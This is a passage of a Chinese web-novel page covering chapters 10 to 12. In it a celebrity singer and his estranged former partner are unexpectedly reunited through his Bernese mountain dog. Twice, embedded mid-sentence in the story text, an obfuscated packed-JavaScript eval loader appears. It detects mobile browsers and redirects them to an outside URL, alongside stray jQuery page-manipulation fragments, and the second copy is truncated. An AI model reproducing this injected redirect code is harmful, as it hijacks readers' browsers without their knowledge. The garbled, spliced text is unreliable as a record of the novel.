参加颁奖的歌手没几位大咖,满打满算李恪竟然算是其中名气排前的了,他的红毯顺序自然也被放在了将近压轴位,和钟嘉敏前后脚。 钟嘉敏前段时间深陷第三者丑闻,李恪入场后看到钟嘉敏紧随自己身后出现,往那轻瞥了一眼,刚好和钟嘉敏对视上了。 他听陈铮提过,丑闻当天那个秃头导师就开了发布会澄清了,倒不是澄清自己没出轨,而是替钟嘉敏澄清她完全被他蒙蔽隐瞒了结婚未离事实,并不是知三当三。 钟嘉敏反倒因为这事获得了很多同情票。 事情真相如何李恪不感兴趣,但他因为一些原因,对钟嘉敏这人没什么好印象。 却没想到落座后,旁边的座位牌就写着钟嘉敏的名字,李恪给陈铮发消息:能提前走吗? 陈铮没回他,李恪知道陈铮肯定是看到了故意不回,他也无所谓,必要时他自己会走。 “李老师好久不见。”钟嘉敏单手捂着深V礼服的领口微微颔首,伸出另一只手和李恪打招呼。 李恪闭上了眼睛。 钟嘉敏完美弧度的笑僵在唇边,她若无其事地收回手,坐在了自己的座位上。 落座后钟嘉敏装作整理头发左右看了眼,媒体镜头都聚在正在入场的压轴评委身上,她暗松了口气,还好没人看到这一幕。 与此同时,唐枫坐上了前往麓湖墅的公交。 她在车上给橙子发消息。 [不吃糖:你好,我大概一小时后到,请问是您还是其他人出来接我一下呢?] 三分钟后橙子回她。 [橙子:你不提我还差点忘了,这小区门卫确实严着呢。快到的时候提前五分钟给我发消息,我到门口接你。] [不吃糖:好。] 发完消息,唐枫手机息屏,胳膊肘撑着下巴靠在窗边打瞌睡。 公交到站,车子忽然急刹,唐枫脑袋朝前一磕猛醒了过来。 她感慨邯市司机的车技发挥真是十年如一日的稳定,一个个秋名山驾校培训出来的。 挪了挪屁股调整好姿势准备重睡,视线随意瞥过前方,前排戴耳机的女生正在手机上看一场直播。 镜头扫过嘉宾席,一闪而过的画面中,李恪穿着一身赭色夹克,低垂着头,指腹缓慢地来回摩挲着食指的戒指。 唐枫彻底清醒过来。 10. 催眠 “这届最佳女歌手是钟嘉敏,一杯鲜百香双响炮,赌不赌?” 前排女生切换直播到微信界面,飞速打下了这行字,然后切回。 悬浮窗上显示着女生好友的回复: “禁止骗吃骗喝。” “提名的时候钟小姐就在练领奖表情了,这奖再不给她我就不相信资本了。” 悬浮窗还没来得及消失,下方来回切换制造悬念的画面,就定格在了钟嘉敏脸上。 她纤长白皙的手捂着嘴唇惊讶瞠目,不可置信地怔住几秒,眼圈泛红,似乎还无法相信周围迭起的掌声是送给她的。 “好拙劣的演技。” 女生拉下对话框发给好友。 好友发来一连串哈哈哈哈。 “笑发财我了,你去看李恪的直播机位。” “这哥的reaction从没让我失望过,哪个天才想到把歌手圈最假的一个和最真的一个安排坐到一起的。” 每张桌子上都有一个固定镜头,对应着一个直播机位。 开始前主办方没有把这个机位告诉任何艺人,这个奖项的操作一向是搞噱头没底线,才不会放过这个全程记录艺人真实细微表情来引起看官讨论的机会。 于是钟嘉敏入场时和李恪打招呼被对方无视且闭眼的画面、钟嘉敏在提名阶段便开始小声背获奖感言并表演抽泣的画面,以及现在—— 钟嘉敏获奖李恪提唇哂笑露出一副“我就静静看你表演”表情的画面,被悉数记录在了直播镜头里。 女生显然对主机位进展的兴趣,比对边缘reaction的兴趣要多一些,没听好友的话,界面继续保留在主场中。 坐在后排的唐枫有些急了,她有拍拍女生肩膀让她发发慈悲切换下机位的冲动,不过也只是冲动,她还没疯到这种程度。 唐枫有心自己拿手机看直播,又不舍得巨额流量费。 怪只怪她自己上个月为了省钱刚换了个8块的保号套餐,另外又办了个15块的流量包,本来也是够用,没想到出摊几天把流量用尽了,保号套餐超出流量1G就是10块钱,看直播烧流量就相当于烧钱,她没那么多钱烧。 没钱没有发言权,唐枫继续蹭女生的直播看。 “感谢所有人,感谢我的制作团队,感谢编曲马溪老师,监制洋洋……” 女生打字:“最应该感谢的光头怎么不说。” 好友回:“私下感谢过很多遍了叭。” 钟嘉敏声音颤抖哽咽着:“我不是一个有天分的人,我家里也没有人从事这一行,甚至得知我做歌手时,还有人出言讽刺,我想这个奖不仅是对我自己的交代,更是替我向那个人做出了回应,谢谢你的瞧不起,但我就是做到了。” 这段发言即使不是临场发挥,也算是一段很具话题性的内容,镜头扫过时甚至有很多人被带动地想到自己而红了眼眶,同时也有很多人在猜,那个出言讽刺钟嘉敏的人究竟是谁。 “哈哈哈哈哈哈哈哈……” 不合时宜的悬浮窗又跳了出来,女生好友发来一大串笑。 “算我求你了,你去看看李恪吧!” “他在干嘛呀!我真的笑得中午饭都要吐出来了。” 女生大概是戒过毒,即便好友这样说仍然没有把画面切出去。 唐枫忍不住了,她太好奇了,李恪到底在干嘛! 一咬牙一跺脚,痛定思痛,唐枫续了10块的流量加油包,在自己手机上点开了直播。 “来之前爸爸告诉我,就算没有得奖——” 钟嘉敏的话卡了个壳,因为视线扫向嘉宾席时,她也看到了坐在台下的李恪。 正在,翻白眼。 她说一句,他翻一下。 好死不死的,导播还很搞事情地在大屏一侧给了他一个特写机位,紧贴着中央屏幕中的钟嘉敏,像是观察综艺节目里的实时reaction。 “李恪你不想干啦!”唐枫切进直播就看到了这个画面,没忍住喊出声来。 前排女生听到,回头看向唐枫:“姐妹你是李恪粉丝啊。” 唐枫也被盯结巴了,“不、不是,纯吃瓜群众。” “我也。”女生说,“对他无感,而且觉得他有点太刻意凹人设了。我不相信娱乐圈有人会这么真,有种随时都想退圈的美。” 唐枫很想说,这才哪到哪啊姐妹! 李恪会来这种颁奖典礼,穿了正式服装做了妆造,甚至没有半道离席,就已经是天大的进步了! 她记得高中时李恪被选做新生代表上台发言,分享自己的学习心得,他刚从球场下来穿了身球服背心就上去了,很中二又很臭屁地只撂下一句话: “自由万岁。” 校领导脸色铁青上台替他找补,李恪下台后就被唐枫掐了胳膊,“你神经啊!让你分享心得你说自由万岁,怂恿祖国的花骨朵逃学是吧?” 李恪说:“他让我讲座右铭。还是你觉得我应该编一个假的,为中华之崛起而读书什么的,虽然我们都知道三年后我会在哪读书。” “……” 后来从他们那届开始,新生代表发言稿必须要经过班主任、年级主任和校长的三重审核,谨防“李恪事变”的重现。 直播画面里李恪还在有节奏地翻着白眼,很难说眼前的画面比较灾难,还是当年那句“自由万岁”比较灾难。 “感觉李恪这波人设塑造要翻车了,钟嘉敏出了名的爱记仇。”女生说。 唐枫下意识接话:“这倒是。” 钟嘉敏很记仇,李恪恐怕真的要吃点亏了。 颁奖结束,主办方号召所有艺人上台合影,人/流熙攘涌向舞台,李恪逆着人群离开了大厅。 出门就被一早等在门口的陈铮堵住了,“你!想!干!嘛!” 李恪眼皮耷拉,“我想睡觉。” “你——什么?”陈铮一肚子火卡在嗓子眼,望着垂着脑袋快睡过去了的李恪。 “困死了,说话像催眠一样。”李恪半眯着眼,梦游似的迈步从陈铮旁边飘过。 陈铮原地愣了至少三秒。 所以李恪在直播镜头里翻白眼,是困成这样的!? 回到车上,李恪往后座一靠直接睡着了。 陈铮在驾驶位留下一副很命苦的表情。-_-、 这还怎么问责他?连轴工作了三天,谁也不能说他打个瞌睡就犯了死罪是吧。 可问题是,他这样解释出去,谁会信啊! 陈铮两手扶着方向盘,很想一路向北把车开进海里,逃避即将面对的公关难题。 这时候约好的拍摄打来了电话,陈铮调整好情绪接起:“抱歉我们这边临时出了点状况,还是按照之前约的时间拍好吧?对对对,涉及到的损失我们这边来承担,感谢理解感谢理解……” 挂了电话,陈铮把车内空调调成适合睡觉的温度,点火发动,载着李恪往麓湖墅出发。 …… “我真是来这工作的,接我的人就在路上了。”唐枫费力和保安解释。 等橙子的时候,她蹲地上拿着草棒逗了会儿蚂蚁,一抬头就看见保安拿着个钢叉向她接近。 “你在地上做了什么记号!” 唐枫懵逼:“我没做记号啊。” 保安不信:“那你在那儿画什么呢?” “我逗蚂蚁。”惮于钢叉,唐枫诚实回答。 保安还是不信:“你当我傻是吧?” “冤枉啊青天大老爷!”唐枫觉得自己态度够诚恳了,“我真是来这工作的,接我的人就在路上了。” “哪栋楼几零几?”保安警惕看着唐枫,“把户主名字报出来。” “A栋1801。”橙子及时赶到,帮唐枫解了围,保安看到真有人来接,才把钢叉放了下去。 “下次别在门口做这么可疑的动作,干扰别人工作。”保安训斥道。 “明白明白,不好意思啊。”橙子替唐枫道歉,带着她走了十几米才说:“你别放在心上,这里的保安被投诉多了,神经兮兮的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002794|161843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>唐枫也没放心上,“理解,都是工作嘛。” 橙子看了眼唐枫的打扮,又说:“不过你下次来的话还是穿件稍微好点的衣服,这里很多人都看人下菜碟的。” 唐枫今天没化妆,穿了那件没什么羽绒了的羽绒服,虽然花15块钱找人修补了,但仍旧难免留下了破掉的痕迹。 路上橙子搭话:“你那会儿让我提前出来接你,我还以为你对这种高档小区很熟呢。” 曾经很熟,但她离开这种生活已经太久了,久到已经忘记来这种地方,至少要穿一件体面的衣服。 唐枫咧嘴笑了下,“我给很多老板遛过狗,有丰富的工作经验,老板你这点可以对我放心!” 橙子说:“别叫我老板,叫我橙子就行,我也是给人打工的。” 唐枫自然知道橙子不是真正的老板,但人人都愿意听点好话,适时的嘴甜已经成为了唐枫讨生活的技巧。 “一直没问,狗狗是什么品种啊。”唐枫问。 穿过大半个小区,橙子带着唐枫已经走到了A栋楼前,大楼一梯一户,橙子刷卡两人进了电梯。 “是伯恩山,你知道这种狗吗?国内养的人少,反正我之前没见过。”橙子说。 “伯恩山?”唐枫惊喜,“我以前也有只伯恩山。” 她说完表情顿了下,“应该说是和我、朋友一起养的,很多年没见了,不知道现在怎么样了。” 显示屏里楼层数字逐字攀爬,唐枫盯着红色的LED数字走了下神,微笑的唇角渐渐熨平。 但橙子对此毫无察觉,他反倒觉得不错,“那还挺巧的,你应该挺适合这份工作。” 唐枫很快回神,对,她是来赚钱的,现在可没那么多时间伤春悲秋。 电梯门“叮”的一声打开,到达目的地。 “这里换鞋,我给你准备了双新的。”橙子打开鞋柜,递了双拖鞋给唐枫。 “谢谢。”唐枫没好意思坐下换鞋,一手扶着玄关边柜,一只鞋一只鞋换。 “狗狗叫什么啊?”唐枫搭话,“我买了根磨牙棒不知道狗狗会不会喜欢。” 唐枫换好左脚鞋,翘起右脚准备脱鞋时,听到了客厅里传来的呜咽声。 带着四分惊喜,和六分不敢置信。 正在唐枫惊疑自己怎么会觉得一只狗的叫声里会有如此复杂的情绪时,隔着半透玻璃的玄关隔断,她看到一座黑棕相间的大山正向她扑来。 鞋也顾不得脱了,唐枫踩着一边拖鞋往后退了两步,手扶在门把手上:“什么情况,这狗不会咬人吧?” 橙子还没来得及回答,Maple耍着个大脚就从隔断后冲了出来,看到唐枫的瞬间,大脚忽然停了一下。 我靠!这是狗吗?明明是狗熊吧!她可不想为了赚几千块钱把小命搭进去啊! “狗熊”尾巴疯狂甩起来,咧嘴吐舌流着哈喇子,前爪跃起朝唐枫冲刺而来。 “救——”唐枫攥着门把手准备夺门而出,兴奋跃起几乎和唐枫齐高的Maple扑到她身上。 然后抱着唐枫的肩膀开始疯狂舔她的脸,边舔边发出像是受了很大委屈的呜咽声。 “呜呜~” 后知后觉被狗舔了一脸口水的唐枫意外地没有觉得有多恶心,毕竟比起被啃,被舔显然要温柔多了。 “它看起来很喜欢你。”橙子有点吃味,他照顾Maple两个多月了,从来没有享受过这种待遇。 如果不是今天这一幕,他都要以为这狗随正主,和它爹一样天性冷淡呢。 “好、好像真的是。”唐枫仰着脸尽量躲掉狗子的口水攻击,手却不由自主地插进狗子的长毛里□□了一番,“我还是第一次被陌生小狗这么热情欢迎过。” 橙子淡淡看着这幅仿佛母慈女孝的画面,冲着狗子招了招手,“Maple,过来。” “快过去吧!”唐枫也是第一次因为狗太热情而把狗向外推。 手抵在大狗胸口,唐枫动作忽然顿了下,“等等,你刚才说,它叫什么?” 11. 强迫症 “它叫什么?”唐枫握着Maple的前爪。 Maple兴奋劲未消,两只后蹄仍旧愉快地蹬着,尾巴甩得飞起。 “Maple。”怕唐枫不理解,橙子还解释了下:“就是枫叶的意思。” 唐枫撒开手,Maple的大脚重重踩在地上,开始围着唐枫转圈,贴着她的身体蹭她的小腿。 唐枫:“……” 唐枫:“我大胆地猜一下,这个房子的主人不会姓李吧。” 千万别千万别…… 虽然眼前无数的巧合已经让这个事实几乎板上钉钉,但唐枫仍还是不死心地问了一遍。 橙子看向唐枫的眼神顿时复杂起来:“我先提醒你一下,你最好别有太强的好奇心,我们要签保密协议的你懂吧。” 我不懂我不懂…… 看着唐枫眼神已然呆滞,橙子开始怀疑自己找来的是不是正常人了,思考片刻,他还是补充了句: “不过我可以告诉你,房子的主人姓孙。” “!”唐枫眼睛瞬时睁得两倍大,“真的!你没骗我吧!” 橙子瞅着她,“骗你对我有什么好处。” 唐枫长松了口气。 她差点都要以为自己被李恪装了跟踪器了。 不是就好。 虽然她和李恪曾经一起养过一只伯恩山,且那只伯恩山也叫Maple,但没有人规定其他伯恩山不能叫Maple,也没有人规定她就一定要兜来转去和李恪重逢在每个可能的和不可能的情境下。 Maple轻咬着唐枫的裤脚寻求关注,放松下来的唐枫蹲下身,把口袋里的磨牙棒拿出来扔给Maple玩。 “我老板是租的房,叫李恪,不知道你听过没。”橙子本着严谨的原则,又补充了句。 唐枫:“o_O” 谁来救救我啊! 唐枫转身就往玄关走,“不好意思,我忽然感觉我狗过敏,可能没法做这个工作了,麻烦你另外请人吧,谢谢再见!” 她趿拉着拖鞋急速向门口突进,就在这时,门口传来“叮”的一声。 是开门的声音。 唐枫:“O_o” 脚步快速撤回,唐枫足底转了个180度的弯折回,“你好我忽然感觉憋不住要拉稀了,请问卫生间在哪?” 橙子:“?” 他在思考拦住唐枫任她拉在客厅,还是让她用洁癖狂李恪的卫生间,哪个选择李恪会让他死得更惨一些。 不过还没等他做出选择,唐枫已经飞快钻进了卫生间,“嘭”关上门,“咔”上了锁。 看来是真的憋不住了…… “李恪翻白眼,李恪钟嘉敏不和,李恪耍大牌……谢谢你啊李大歌手,今年一整年的热搜KPI被你一天刷够了。” “不用谢。” “……你真要气死我是吧?”陈铮跟着李恪进了门,看到站在客厅中央的橙子,“你还没走?怎么这个表情。” 橙子一副欲言又止,又止又言的便秘表情,张口也不是,闭口也不行—— 而李恪的视线已经落在了卫生间门口。 Maple正以很不正常的兴奋情绪不停地往卫生间门上扑。 “Maple?”李恪慢慢走过去,蹲下摸了摸Maple的脑袋,“怎么了?玩具滚到里面了?” 他的手放在门把手上,准备推门。 “等一下!” 橙子急忙跑过来阻止:“里面有人!” 里面的人用手死死拽着内侧的门把手。 熟悉的声音近在咫尺,隔着一道门,声音却好像更透明了。 唐枫盯着门把手,感受着一门之隔的人动作带来的轻微颤动。 ——李恪你这什么奇怪癖好啊!卫生间居然不能上锁! 唐枫拽着门把手随时准备生死博弈,她已经做好准备了,一会儿如果李恪把门打开了,她就用旁边的马桶橛子戳他脸上。 要死一起死好了。 “谁啊。”陈铮也走了过来,他想起来了,“哦那个遛狗的是吧?” 橙子忙道:“对,叫过来试岗的,她……肚子不舒服……不过不是我让她进去的啊,我还没说话她自己就钻进去了,我都没来得及阻止。” 李恪眉头微拧了下,手从门把手上放下,狠揉了下Maple的脑袋,“过来。” Maple根本不听,反倒在门口趴下了。 李恪嘴角向下一抿,“你什么时候对别人上厕所这么感兴趣了,饿了?” 唐枫:……这什么话! Maple一个字听不进去,吐着舌头兴奋嗅着门后唐枫的味道。 李恪无奈叹了口气,“酸奶。” 唐枫听懵了。 酸奶? 她忽然想到什么,Maple小时候超爱喝酸奶,只是肠胃不好喝半杯就拉肚子,所以她和李恪平时不给Maple喝酸奶,隔个一年半载作为奖励才会给它舔一瓶盖。 六年了,她和李恪都发生了翻天覆地的变化,而Maple还是那个喜欢喝酸奶的小Maple。 ——听到关键词的Maple的视线这才转过来。 “牛肉干。”李恪继续引诱。 Maple从地上站起来,身体转向李恪。 “出去玩。” 杀手锏一出,Maple彻底倒戈,“呜呜”两声,蹦跳着向门口放着牵引绳的柜子跑去。 “我带Maple出去转一圈。”李恪给Maple戴上牵引绳,他冷淡的视线向卫生间方向瞥了下,声音不大不小,“希望回来的时候已经没有痕迹了。” “肯定的!”橙子忙说。 他背过身朝唐枫方向瞪了眼,净给他添麻烦! 陈铮在旁边看着,有点幸灾乐祸的意思,他笑笑:“怎么样啊?这个能行吗?” 下巴也朝着那边抬了抬。 橙子摇了摇头,小声道:“我觉得不行。” 他抬手指了指脑门,张大嘴用口型道:“这里有问题。” 李恪抬抬眼皮,不太在意,“那就不找了,我自己遛。” “希望过几天去A市录节目你能保持这么淡定。”陈铮看热闹的表情,贱嗖嗖挑眉,“A市禁大型犬哦。” 古人云,最能绑住一个男人的手段,就是孩子。 ——但这话对李恪完全不适用。 “哦,那就不录了。”李恪淡淡说,牵着Maple出了门。 脚步声消失在关门声后,唐枫趴在门上又听了一小会儿,确定李恪离开后,紧绷的肩膀才慢慢垂下来。 思来想去这事太不对劲,遛狗的工作是她自己找上门的,就算李恪本事再大,也大不到能控制她的行为吧。 而且从方才李恪的反应来看,他似乎根本没有意识到门后的人是她。 难道这就是传闻中的,孽缘未了吗? 唐枫陷入对玄学的重新思索,不过想了想眼下重中之重还是赶紧逃离危险区,万一李恪忽然折回她就真说不清了。 手刚放在门上,门外传来敲门声。 “笃笃——” 唐枫心脏被揪起来了,是不是橙子说她名字了,是不是Maple开口说话了,是不是李恪的狗鼻子闻出她的味儿了…… “你好,里面很久没动静了,你还好吧?” 好像是李恪那位经纪人的声音,唐枫的心落回肚子。 “我没事,现在要出来了。” 为了掩盖自己在里面什么都没做的事实,唐枫似模似样冲了下马桶,又去洗了把手,推门出来,橙子和陈铮站在门外。 “让你们见笑了。”唐枫微微欠了下身,又看向橙子:“不好意思啊耽误你时间了,不过我还是没法做这项工作,抱歉。” “哦,行。”橙子巴不得她别来。 陈铮抱着胳膊看着唐枫,皱眉思索片刻,“我们是不是在哪见过?” “……没有吧,可能我长了张大众脸。”唐枫一时心虚。 她生怕是李恪给陈铮看过自己照片,怕他万一再盯着看一会儿真认出来,赶紧低下脑袋脚底抹油。 “我先走了,拜拜。” 唐枫被玄学整怕了,连“再见”两个字都不敢说,头也没回下了楼。 李恪遛狗遛了整整一个小时,Maple才纡尊降贵在花园旁边拉了泡屎。 “你这看起来不像是便秘没好。”李恪戴着手套捡起Maple的稀粑粑,冷着一张酷脸对着粑粑袋自言自语。 “太兴奋了?因为今天来家里的那个?”李恪猜测,“有点出息行么,知道你平时见陌生人不多,但也没必要对谁都这么兴奋吧。” Maple仰脸看了他一眼,甩了个“恨铁不成钢”的眼神。 回到家陈铮还没走,正在和橙子商量着点个外卖一起吃。 “寿司、炒粉和牛肝菌拌饭,选一个。”陈铮朝门口的李恪说。 李恪蹲下给Maple擦脚,说:“我没邀请你们在我家吃饭。” “OK那就寿司拼盘。”陈铮忽略他。 李恪:…… 橙子在旁边惴惴不安,他真的要留下来吗?毕竟李恪看起来不太欢迎他们的样子。 “公关文案已经帮你写好了,你一会儿复制了自己发微博。”陈铮说,“放心,没有你嗤之以鼻的话术,实话实说。发微博最重要的是给粉丝一个交代。” 李恪回到客厅,陈铮也点好了外卖,他看着李恪不咸不淡的表情,显然李恪并没有把这件事放在心上。 “这件事可大可小,娱乐圈里热闹多,等出现下一个头条,网友很快就把这事儿忘了。”陈铮斟酌措辞,“但钟嘉敏那边不好弄,你得私下和她道个歉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李恪皱眉问:“谁给它买的磨牙棒。” 走到门口的橙子停下来,回道:“是今天那个面试遛狗的,叫什么唐来着。” 李恪起身走过去,把磨牙棒从Maple嘴里抢过来,扔进了垃圾桶。 “以后不要随便给Maple吃东西,”李恪冷冷说,“尤其是这种来路不明的。” 橙子表情顿了顿,说:“好。” 橙子离开后,陈铮还想和李恪说钟嘉敏的事,被李恪拒之门外。 他闭眼拧着眉心,说:“随便你吧,你把她签了留在身边都行。但我现在只想回屋睡觉,行吗?” 陈铮也很清楚,李恪性格只是冷淡傲气,但没到不知好歹的程度,不涉及原则上的问题李恪都会配合,以他对钟嘉敏的排斥程度,今天这样已经是他最大的妥协了。 “行,你先睡一觉,天塌了醒着的人给你顶着,行了吧?”陈铮也是带点余愠未消的语气。 李恪冲他笑了下,“放心,我躺下也比你高,轮不到你顶。” 陈铮:…… 等人都走了,屋子里清净下来,李恪反倒没开始那么困了。 他起身去洗了把脸,卫生间里没有他预料到的味道,不知道是橙子收拾好了,还是对方的确没留下什么痕迹。 恒温水汩汩从水龙头流出,李恪抄起一把水扬到脸上,水滴顺着颊骨流到下巴,又自由地坠落到洗手台上,溅起落在镜子下缘。 李恪看着镜子里的自己。人是看不到自己长相的变化的,可六年的时间,没有人会一点变化都没有。 是他变了吗? 所以她不肯认他。 脑袋低垂下去,眼皮半阖,李恪吐了口气,抬手把水龙头关紧。 转身准备离开时,李恪的动作忽然顿了下。 他迟疑了半秒,又转过身来,视线落在洗手台那瓶泵头被擦干又被调正位置的洗手液上。 这么多年来,他只见过一个比他强迫症更严重的人。 她每次洗漱结束会把所有洗漱用品的泵头擦干净,然后统一调整好方向放好。 “看它们这样,像不像在站军姿?” 这句话从李恪的脑海一贯而过,所有巧合的细节在他的脑内集合。 Maple一反常态地对着卫生间门热情怪叫,橙子提起对方名字里的“tang”字,以及面前这个被擦拭过的洗手液。 太阳穴猛地跳了一下,李恪回到客厅拿起沙发上的手机,给橙子打了个电话。 “今天来应聘遛狗的人叫什么名字?” 橙子正在回家的地铁上,“我记不太清了,你等等我给你找一下——” 李恪呼吸屏住,喉结生涩地滚了一下。 “叫……唐枫。” 李恪闭了闭眼,缓慢向后倚躺在沙发上,抚着晃悠悠走过来的Maple的背,语气平淡地说:“你联系一下她,就说Maple吃了她买的磨牙棒进医院了。” 12. 邀请 “Maple生病了?”刚回到家,屁股还没坐热的唐枫从板凳上弹起来,“怎么会生病呢?我离开的时候还好好的!” “你还说呢,还不是因为你买的那个磨牙棒,不是什么三无产品吧?”橙子一副问责的语气。 “我是在旗舰店买的,我一会儿找店家问问——Maple是什么问题,医生有没有说严不严重?有生命危险吗?” 比起要承担的责任,唐枫显然对于Maple的健康状况要更在意一些。 Maple是她和李恪在伦敦时救助的被遗弃的流浪犬,后来她紧急回国把Maple留给了李恪,期间有很多次唐枫都想偷偷打探Maple的情况,却因为彼时自己状况过于狼狈忍下了。 没想到多年后再见,Maple一眼认出了她,她却没有敢认Maple,更没想到的是,Maple竟然因为她的大意进了医院。 “这个……我还在问,总之你知道是你的问题就行了。”橙子语气尽量四平八稳显着占理的姿态。 “该负的责任我肯定不会逃避,我只想知道Maple现在情况怎么样了。” 大不了就摊牌。 在Maple的生命状况未定时,唐枫忽然觉得此时的丢脸已经算不得什么大问题了,她只想确认Maple还在健康地活着。 “具体情况我说不清楚,你自己过来看吧。”橙子按照李恪教他的一字一句说道。 “可以。”唐枫立刻从椅子上起身,“在哪家宠物医院?” “就在麓湖墅。”橙子说。 李恪已经预测到了唐枫会问这个问题,橙子按照李恪的话复述:“这里有专业的宠物医生上门,简单处理过了,医生建议在家休养。” 既然在家休养那说明没什么大问题,唐枫松了口气,理智逐渐回圜。 等等,这不会是个陷阱吧?是不是李恪猜到了她的身份,故意哄她过去的? “那个我问一下哈,”唐枫想了下说,“你有没有告诉李恪我叫什么。” “你不是叫Candy么?”橙子说。 唐枫一怔,她留的名字是Candy吗?她怎么记得当时为了证明自己有合法公民的身份,她告诉橙子过自己的真名。 听到电话这边的迟疑,橙子又补充:“反正我和李恪哥说的名字是Candy,他对其他人的隐私不关心,没有再追问下去。” 果然如她所料,李恪这狗东西,被她的分身唐娇娇给迷住了。 娱乐圈不是美女如云么?不会是这么多美女都没人看得上他吧! 行情真是越来越差了。 为了亲眼确认Maple的情况,唐枫回房披上了唐娇娇皮,出发前她自拍了张照片发给雪莉:[能认出我吗?] 雪莉高强度冲浪,很快回复她:[hello美女一个人吗?老婆今晚不在家来csgo和我一起RushB!] OK很好!唐枫给自己打气。 就再和李恪见一次。 就一次,是为了Maple。 绝对不是因为她也想见他。 …… “再排练一次,1、2、3——装死。” Maple伸长鼻子绕着李恪的手转了个圈儿,而后“嗷”地叫了一声,趴在地上慢吞吞把脑袋埋在了两只前爪之间。 李恪屈着两条大长腿蹲在狗身前,收回奖励的肉干,一脸严肃:“你未来有没有妈就看你今晚的表现了,听明白形势的险峻了吗。” Maple似懂非懂地偏着脑袋呜咽了一声,然后两爪一伸,直挺挺仰倒在地上。 “很好,但生病的狗眼睛不需要睁得这么大。还有,一会儿她到了不准兴奋,不然你下半生都没有酸奶和肉干吃。”李恪捏了下Maple的嘴筒子,又将手里的肉干喂了一块。 “再巩固练习一遍——” 门口“叮”的一声,打断了李恪的练习,他不动声色将肉干收回口袋,头微微倾斜低下,从门外进来的人刚好能看到他微蹙的眉。 “李恪哥,你让我买的衣服给你买来了,发票在袋子里。” 李恪绷起的唇角垂了下去,他抬了抬眼,对橙子说:“谢谢,放在沙发上吧,你可以下班了。” “……好。” 橙子说完,却没有立刻走。 李恪奇怪抬头,“怎么了?还有什么事吗。” 橙子朝前挪了两步,犹豫片刻说:“我觉得唐小姐也不是故意的,不然就算了吧。” 李恪揉着Maple脖子上的软肉,说:“我知道,我不会为难她。” “最关键的是,”橙子直说道:“我觉得她这个人可能居心不良,我想最好还是别让她来这儿。” 李恪闻言看向他,眉毛轻抬了下,“怎么?” “她刚才问我你家有没有监控!”橙子义愤填膺,“哪有正常人问这种问题的,这不是别有居心还能是什么!” 问监控大概率是为了确认他有没有看到她第一次来时的脸,李恪想象着唐枫小心套话的样子,唇角忍不住溢出笑意。 看到李恪竟然还能笑得出来,橙子就更急了,“你没听过吗?有种粉丝叫私生,跟踪、私闯这些都是轻的,偏执严重些的可能会代入偶像爱人的身份,得不到会拉着对方殉情的!” 他故意把情况说得严重很多,却没想到李恪唇角的笑更深了。 橙子:“……” “谢谢。”李恪说,“必要时我会报警的,你先回去吧。” 橙子还想说什么,瞥见了垃圾桶里的几瓶矿泉水,是给Maple喝的。 楼下那家进口超市缺货他从网上收的,买回来后李恪没说什么,现在竟然被他在垃圾桶里看到了。 他猜测大概是李恪觉得那几瓶水是拆卖不够官方,不放心给Maple喝。 但扔就扔吧,还扔在了他眼皮子底下。 他闭上了嘴,至此橙子自认已经仁至义尽,该提醒的他都提醒过了,到时候真出了事别把责任推他身上就行。 ……穿着八公分的高跟靴,唐枫使出了玩命的劲儿才赶上了最后一班公交。 这趟出门唐枫没敢和家中二老说实话,而是借口去雪莉家,然后趁着两人不在客厅偷溜出来的。 半夜十点,浓妆艳抹小高跟,她怕唐述礼和叶茵觉得她出门援///交去了。 下了公交,头顶忽然淅淅沥沥下起了小雨,唐枫暗骂一声倒霉,赶紧抬手挡在了头顶。 如果她化了一个小时的妆被这场雨淋掉,那她就不活了——死之前冲到半夜把她叫过来的李恪家里把他也鲨了! ……她也只能在脑袋里爽一下,现实中还是乖乖蹲在公交站雨棚下,拿出手机给橙子打了个电话。 “橙子老师能麻烦你出来接我一下吗?下雨了我没带伞然后——” “哦我已经不在那里了。”橙子打断她。 “啊?房子里只有李恪一个人吗?”唐枫心一凉。 这在橙子耳中却是另外一层意思,于是他疯狂暗示让唐枫不要轻举妄动:“这小区警卫还是相当不错的,出警特别快!” 如果李恪真想做点什么,出警快有啥用啊。 唐枫的沉默中带着视死如归的死寂。 “我挂了,你自己注意点吧。” “等一下!”唐枫又喊住他,“能帮我先和门卫打个招呼吗?” 橙子:“他见过你一次,这次不会拦你了。” “……情况不太一样,他可能认不出我。”唐枫不知道该怎么说。 “不会,门卫眼神好。就这样,我挂了。” 橙子挂断电话的手速极快,唐枫对着手机“喂”了好几次,终于心如死灰。 所谓流年不利,所谓屋漏偏逢连夜雨,所谓出门被狗屎绊倒又躺在了狗屎里…… 所有的所谓都无法形容现在唐枫的倒霉处境。 风雨倾斜潲向公交站檐下,唐枫在地上蹲着,一只胳膊朝前架在膝盖上,手腕向下耷拉着,细小的雨滴扑簌簌落在她的手背上。 她已经懒得去想该怎么保持着妆容跑到小区,又怎么说服保安自己是之前来过的人,再怎么用又一次狼狈的样子去面对李恪。 大脑一片空白,面前的水洼小坑里倒映着广告牌的灯光,光影投映的画面被不停落下的雨打碎。 ——然后,忽然静止了。 连带着落在她手背上的雨,也停了下来。 唐枫疑惑地抬起头,看到了那双墨黑色的眼睛。 路灯在李恪身后晕出一道光圈,细雨迷蒙地落在他手中撑着的黑色的伞上,他穿了一件黑色的风衣,和伞融为一体,然后被暖色的光切割于身后浓稠的夜色中。 她花了很长时间才找到自己的声音。 “李、老板……” 李恪居高临下望着她,“最后一趟公交过去了十几分钟,你没过来,怕出了事警察找到我这里。” 唐枫扶膝站起,“哦我还以为是橙子告诉你我进不去呢。” 李恪:“……” 好像这个说法听起来比较靠谱一些。 李恪侧了侧脸,掩去一瞬间的不自然,“走吧。” 唐枫跟了上去。 ——沉默。 